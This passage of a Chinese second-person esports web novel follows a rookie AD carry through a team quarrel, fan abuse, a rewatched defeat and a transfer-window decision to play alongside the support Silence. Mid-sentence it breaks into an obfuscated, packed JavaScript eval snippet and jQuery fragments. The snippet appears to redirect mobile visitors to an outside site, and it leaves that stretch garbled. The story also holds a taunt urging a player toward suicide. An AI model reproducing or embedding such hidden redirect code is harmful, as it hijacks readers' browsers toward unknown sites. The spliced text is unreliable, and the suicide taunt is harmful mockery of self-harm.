训练室立刻传出窸窣的笑声。
翟锐站起身，脸涨得通红，张嘴欲说什么，却因为感受三方团队的目光而硬生生地忍住。
宋煦言一脸无辜随意，仿佛刚才巨大的动静是外星人发出来的。他仰头迎上对面的目光，这样向上的视线角度，眼神里竟然透露出鲜明的俯视感：
“呦，打比赛的时候那么隐身，现在站起来倒挺快。”
他嗤笑一声，并没有给对面留反驳的时间，眼神上下一扫，嘴角的鄙夷意味更加明显：
“你有空嘴队友不如考虑一下，只要你愿意签退役协议，我可以个人出资包机现在送你直飞回国。”
“怎么？不乐意？你3-9的时候我没看出来你自尊心这么强啊。”
“赛后采访的时候，说想超越Sleight的时候不是中气很足嘛，现在怎么不说话？”
“打成这样也不敢在房间里上/吊，是怕影响你们通合的酒店营业额吗？”
宋煦言说话攻速叠真伤，说得THG教练组几乎快坐不住，贺教赶忙先一步站起来和稀泥，林题立刻鞠躬道歉拽着宋煦言走出去，结束了这场单方面碾压式的争吵。
训练室再次陷入诡异的安静。
没有了前排视线的遮挡，你顺利看到了坐在对面的人。
明明每天都按时出现在餐厅，可他看上去又瘦了一些，你看见他头缓缓地低下去，直到训练室的灯光完全消失于瞳孔。
小小的涟漪终究消失于平静的湖面。
以后的日子，你不能再能期待RANK撞车，因为THG下路被强制要求除了训练只练组排。
好在凌霄赛小组赛六进四的淘汰规则并不算残酷，经过一轮的调整之后，THG的状态有所回暖，SCC在磕磕绊绊中踩线进入淘汰赛。
在比赛间隔的一周里，所有人都终于从没日没夜的训练里脱身，能稍微喘口气。你总算敢给智能手机连上网，有胆量看一看凌霄赛相关消息。
果然，10成的谩骂，9成对象是THG，还有1成是所有人。
#今年SCC不会连决赛都进不去吧！#
#理性讨论，SCC从哪年开始不行的？#
#知情人士透露，赛区队内不合！三个战队已经在训练室打起来了！#
#7年老玩家说一句，THG的问题就是Silence！！#
#如何评价THG一到世界赛就烂的状态？#
#到底谁还对THG抱有期待，都忘了AND了吗？#
……
在一众口诛笔伐之中，有一个标题吸引了你的注意——
#还相信Silence的人不妨看看这个#
一条热度1000+的帖子，主楼内容却空白一片，只有一个意义不明的视频链接。
你手鬼使神差地按上去，界面瞬间跳到一个播放量500万+的视频，标题明晃晃写着几个大字——【M4世界冠军赛淘汰赛-半决赛 AND vs SUM】
你感觉自己像是骗进草丛，随后被对手一套闪现接R被带走的小丑。
没等反应，解说与背景观众兴奋的呼喊声已经充斥了整个房间。
“各位屏幕前以及现场SCC的观众！欢迎来到M4世界冠军赛半决赛的现场！今天，让我们共同期待两个来自各自赛区的一号种子所带来的巅峰对决！”
广角镜头环扫一圈，2万人的体育馆此刻座无虚席，掌声雷动。
你认识那里，那是你生活过的地方，全市最大的体育馆。
就在这场比赛开始的前几天，你在场馆门口亲眼见到了Sleight，那天你手捧着他送你的礼物激动异常，还不知道他将对面自己职业生涯的最后一场比赛。
你之前只知道结果，现在过程就在你眼前。
你当然可以选择立刻退出，但你迟疑半秒，并没有这样做。
时间冲淡了你的伤感，你自认为已经可以更加理性的面对这场比赛，当然这里还有一个你并未发觉的原因，你有了另一个想关注的人。
你在一堆层层叠叠的弹幕，红橙黄绿明嘲暗讽的弹幕缝隙里看完了一整场的BO5。
这是一场绝称不上精彩的比赛，无论输赢都过于轻松，即使配合弹幕的调笑也并不多出几分趣味。
AND全程打法保守，与过往的风格大相径庭，甚至到了任人宰割的程度，这其中问题最大的无疑是那个被写在标题上的人，尽管那时他还是另一个ID。
“我们知道，Ash一向以敏锐大胆的辅助风格闻名，今天怎么会这么小心翼翼，畏畏缩缩，完全被对面牵着鼻子走。”
“啊……这里对线失误了啊，白吃一套技能啊Ash……”
“哎……！现在又只能依靠Ash的开团了！啊！又勾空了！对面阵容的反开能力很强，AND要小心啊，不要被包了！”
“Ash怎么会出现在这个位置……快走啊！对面全是人啊！！”
……
“我们的春季赛冠军！赛区的一号种子！就要这样止步冠军赛四强了吗！”
“三年了！AND还是没能跨过冠军赛四强这道叹息之墙。”
“根据我们接到的消息，AND今年冠军赛将会更名，作为解说，我们只能期待他们以新的名字重新起航……”
解说的遗憾的声线牵动着所有人的情绪，镜头扫向观众席，无数灰橙色的横幅颓然放下，连成一片失望的海。
但你的注意力此刻却在别处。
你按下暂停键，画面定格在辅助起身，接受胜利方碰拳的瞬间。
你关闭了一大片写着——【好死】【活该】【烂完了】的弹幕，将视频回拉一点，将画面最下方的选手镜头放大，再放大，直到那人的脸占据了整个屏幕。
M4冠军赛的UI设计，选手镜头被放得很小，并且很长时间里还会被贴片广告覆盖，你难以找到太多画面来证实自己的猜测。
但他确实看着不太正常。
就算在五彩缤纷的灯光下也依旧能看出脸色白得发青，就连眨眼的速度也像是开了慢放。
你带着疑虑在网络上搜索，在各路媒体夺人眼球的标题下却没有任何相关内容，就连AND自己的媒体采访环节也并未提及此事。
也许是你多想了，这确实是最合理的解释。
你心里有块沉重的东西难以放下，却也只能暂时搁置。
你依旧每天准时出现在餐厅，可他却开始不准时了。
他吃得越来越少，看上去越来越累，终于有一天不再来了。
那是凌霄赛四强淘汰的第二天，THG以0:2的比分结束了自己凌霄赛的最后一局，而后出场的LTD与THR.1各输一局，SCC以历史最差成绩告别凌霄赛，也告别了M6赛年。
那一天，你终于拿到了一个想要的甜餐包，可一口咬下去嘴里却不是自己期待的味道。
苦的，很苦。
明明连上场的资格都没有，却苦得让你鼻子一酸。
漫长的凌霄赛仿若昏长一梦。
当你惊醒，已是冬季转会期。
一切比你预想的顺利得多，有贺教的推荐，许多队伍给了你试训的机会，你打了一场又一场，收获了不少赞许与认可。
其中你最喜欢的是一位素未谋面的女教练。
她的声音听上去沉稳又清澈，试训结束后耐心指出了你打团中需要注意的细节问题，你默默记下，默默期待。
但那个叫NBG的俱乐部却迟迟没有通知你试的结果。
“非常抱歉，Sight选手，我们非常理解你急切的心情，但是因为辅助人选一直没有确认，所以暂时还不能给你回复。”
“Sight选手，合同细则已发送，我们需要你在两天之内做出回复。”
“Sight选手，我敢说作为新人，我们给出的工资待遇，你在SCC绝找不到第二家，你真的不需要再犹豫。”
……
转会期一天一天过去，你身上挂着的挂着的转会费迟迟无法变现，LTD经理终于忍不住把你拉进了会议室，希望你尽快做一个决定。
“褚遥星，俱乐部已经在能力范围内尊重你的选择，但是你也应该很清楚……”经理用力在烟灰缸里捻了下烟头，“如果你执意不转会，下赛季只能重回次级联赛，LTD是没有你的位置的。”
“我知道经理。”几周过去了，那个沉稳
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16336204|176285||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的女声在你记忆里逐渐变得模糊，你知道已经不能再等了。
三天后，你坐在LOG俱乐部的会议室里，做出了你力所能及最好的选择。
但手机却在此时弹出一个通知。
【THG-Silence自宣离队，自由人身份引非议！网传或已与NBG签约，更多详情，点击查看→】
那一刻你的大脑一片空白。
你听到了，涟漪泛起的声音，连带着脑海里疯涨的期待，尽管一切都来得太迟。
你想搭档的人去了你想去的队伍，可那里却没有没你位置。
你坐在会议室里，笔点在合同的尾页上，觉得命运给你开了一个巨大的玩笑。
手机铃声就在这时响起，屏幕上出现一个来电通知，备注是一个太阳的emoji。
因为那个女教练告诉你，她叫向晓。
“今晚方便试训吗？”她声音有些急切，跟你的心情一样，“但是我必须跟你说明，Sight选手，我们试训的AD不止你一个。”
“什么时候可以知道试训的结果？”你问。
“最迟明天。”她说。
明天，要么试训成功，要么回二队。
或者。
你望向LOG的会议室，那里的桌子上放着一式三份的合同，可以清空你现在所有的纠结，送给你第三条选择。
LOG的辅助是你二队的队友何予，你们关系很好，你对他也很信任，此时此刻，你突然想起那天你们躺在二队的卧室里，他对你说的那句话——一定要牢牢攥紧，机会出现的瞬间。
现在是那个瞬间吗？
你问自己。
是的。
不能更是了。
你挂掉电话，回到会议室不断地道歉，在LOG经理一句客气的没关系后，背起包开始狂奔。
约定的时间在三个小时之后，而LTD和LOG的基地，一个在城南，一个在城北。你地铁转公交，一个恍惚还坐反了一班，等跑回基地启动电脑时，正好还差两分钟。
你努力把气喘匀。
“喂，听得到吗？”你接入麦克风。
【可以。】那人打字。
你的心跟着这两个字安定下来。
但你们的配合并不如在凌霄赛的训练室，局势一度逆风。
他一定是很累了，你想。
一波大团之后，所有人残血四散开逃，你血量还算健康，自觉充当前排。
“没关系的，我来处理。”你这样说着，说给他也说给你自己。
可能是自己的心理暗示过于强大，你感觉局势跟着这句话一起转好。
随后签约，搬家，训练，比赛。
一切就像一场虚幻而又美妙的梦。
而梦在这一刻破碎了。
“那都是假的，遥星。”他对你这样说，语气认真到你无法假装是个玩笑。
“因为Sleight，对吗？”他说出了那个对你来说意义重大的名字。
“不。”你打断他。
因为我们很合拍不是吗？
你几乎就要说出这句话。
“因为能赢，和你一起能赢。”
你看到对面的表情因为这句话而变化，就像被冰棱刺破的湖面，由错愕迅速回归平静，你随后见他幅度极小地摇头，如果不是一直盯着几乎无法察觉。
你知道他并不信任你说的话。
但你自信你是对的，你认定他是你最好的同伴，最佳的搭档，最优的选择，尽管你无法判断他对的你定义。
“和我一起不会赢的……”他语气突然有了些笑意，但是苦的，就像那天拿到的餐包。
“一定会。”你听到自己说。
“不……”
“一定会赢的！商知序！我向你保证！”你提高音量，脱口而出。
下一瞬，你们俩同时因为这个陌生的称呼愣住，你才发觉，从来没有这样连名带姓地叫过他。
你们俩望着彼此，就这样也许安静了几秒，又或者是几分钟。
你败下阵来，连日的疲乏在此刻被抛诸脑后，你匆忙丢下一句“我不是很困，我想再去打几把RANK。”逃也似地离开了房间。